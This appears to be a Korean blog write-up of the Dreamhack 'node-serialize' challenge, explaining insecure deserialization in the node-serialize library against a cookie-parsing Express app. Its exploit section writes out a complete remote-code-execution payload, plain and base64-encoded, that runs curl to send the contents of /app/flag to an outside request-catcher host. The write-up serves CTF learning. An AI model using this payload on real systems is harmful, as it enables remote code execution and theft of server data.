외로운 Nova의 작업실

[dreamhack] node-serialize 풀이 본문

Web Penetesting/Web Vulnerability

[dreamhack] node-serialize 풀이

Nova_ 2023. 1. 28. 11:51

안녕하세요. 이번시간에는 node-serialize 문제를 풀어보도록 하겠습니다.

 

- 문제인식

 

/app/flag에 플래그가 있다고 하는군요. 문제 파일을 보겠습니다.

const express = require('express');
const cookieParser = require('cookie-parser');
const serialize = require('node-serialize');
const app = express();
app.use(cookieParser())

app.get('/', (req, res) => {
    if (req.cookies.profile) {
        let str = new Buffer.from(req.cookies.profile, 'base64').toString();

        // Special Filter For You :)

        let obj = serialize.unserialize(str);
        if (obj) {
            res.send("Set Cookie Success!");
        }
    } else {
        res.cookie('profile', "eyJ1c2VybmFtZSI6ICJndWVzdCIsImNvdW50cnkiOiAiS29yZWEifQ==", {
            maxAge: 900000,
            httpOnly: true
        });
        res.redirect('/');
    }

});

app.listen(5000);

문제 파일에는 쿠키가 없으면 쿠키를 설정해주고 쿠키를 unserialize를 그 값이 있다면 응답을 출력해주는 코드입니다. 여기서 unserialize 함수에대해서 알아보겠습니다.

 

- 함수 설명 및 취약점 정리

<unserialize 함수>

먼저, 객체를 누군가에게 보내야할때 객체자체를 보내지 못하기때문에 객체를 문자열로 변경해서 보내주게됩니다. 이 문자열을 받은사람은 다시 객체로 바꿔서 객체로 사용하게됩니다. 이때 객체를 문자열로 변경하는 것을 구현한 함수가 serialize함수이고, 문자열을 객체로 다시 변경하는 것을 구현한 함수가 unserialize함수입니다. 또한, 객체를 문자열타입으로 변환하는 것을 '직렬화'라고 합니다.

 

<serialize 예제>

실제로 아래와 같은 코드로 객체를 serialize를 하게되면 

var serialize = require('node-serialize');
x = {
    test : function(){ return 'Hello'; },
    str  : 'string',
    num  : 0,
    obj  : {foo: 'foo'}
};
console.log(serialize.serialize(x));

아래와 같이 직렬화가 됩니다.

 '{"test":"_$$ND_FUNC$$_function(){ return 'Hello'; }","str":"string","num":0,"obj":{"foo":"foo"}}'

객체가 json 형식(문자열)으로 변경된 것을 확인할 수 있습니다. _$$ND_FUNC$$_ 부분은 함수라는 것을 알려주는 Json 형식입니다. 위와 같은 문자열을 unserialize 하게되면 형식에 맞춘 객체를 반환하게됩니다. 좋은 함수이지만 취약점이 존재합니다.

 

<unserialize 취약점>

 '{"test":"_$$ND_FUNC$$_function(){ return 'Hello'; }","str":"string","num":0,"obj":{"foo":"foo"}}'

위와 같은 문자열을 unserialize하면 정상적으로 작동되지만 test함수에대한 문자열의 마지막에 ()을 붙여주면 객체가 만들어지기전에 그 함수가 실행된다는 취약점을 가지고있습니다. 

 '{"test":"_$$ND_FUNC$$_function(){ return 'Hello'; }()","str":"string","num":0,"obj":{"foo":"foo"}}'

위와 같이 함수 문자열의 마지막에 ()을 붙여주게되면 hello가 리턴되게됩니다. 이를 악용해서 exec()함수를 사용하게되면 쉘 명령어를 이용할 수 있습니다.

 

- exploit

문제의 서버에서는 쿠키 값으로 unselialize를 실행하고 있기때문에 쿠키값에 직렬화된 값을 줘야합니다. 또한, buffer.from함수로 받을때 base64로 받고있어서 직렬화된 값을 base64로 변경해서 쿠키값에 넣어줘야합니다. 일단 /app/flag 값을 읽어서 curl로 저의 서버로 보내는 명령어로 직렬화된 값을 짜보도록 하겠습니다.

{"username":"_$$ND_FUNC$$_function (){require('child_process').exec('curl https://gdqhwal.request.dreamhack.games?c=$(cat /app/flag)', function(error, stdout, stderr) { console.log(stdout); });return 'a';}()"}

이제 위의 값을 base-64로 변경해줍니다.

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY3VybCBodHRwczovL2dkcWh3YWwucmVxdWVzdC5kcmVhbWhhY2suZ2FtZXM/Yz0kKGNhdCAvYXBwL2ZsYWcpJywgZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKSB7IGNvbnNvbGUubG9nKHN0ZG91dCk7IH0pO3JldHVybiAnYSc7fSgpIn0=

이제 이 값을 쿠키값에 넣어주고 요청을 보냅니다. 저는 저의 cmd의 curl로 했습니다.

요청을 보내면 Set_Cookie_Success!가 뜹니다. 이제 저의 서버로 가보겠습니다. 서버는 드림핵 툴로 사용했습니다.

그럼 이렇게 값이 오게됩니다. 이값을 형식에 맞춰 FLAG{CE_ ~~~~~~~~~~ Vuln} 으로 변경해주고 플래그 값에 넣어주면 문제가 해결됩니다.

Comments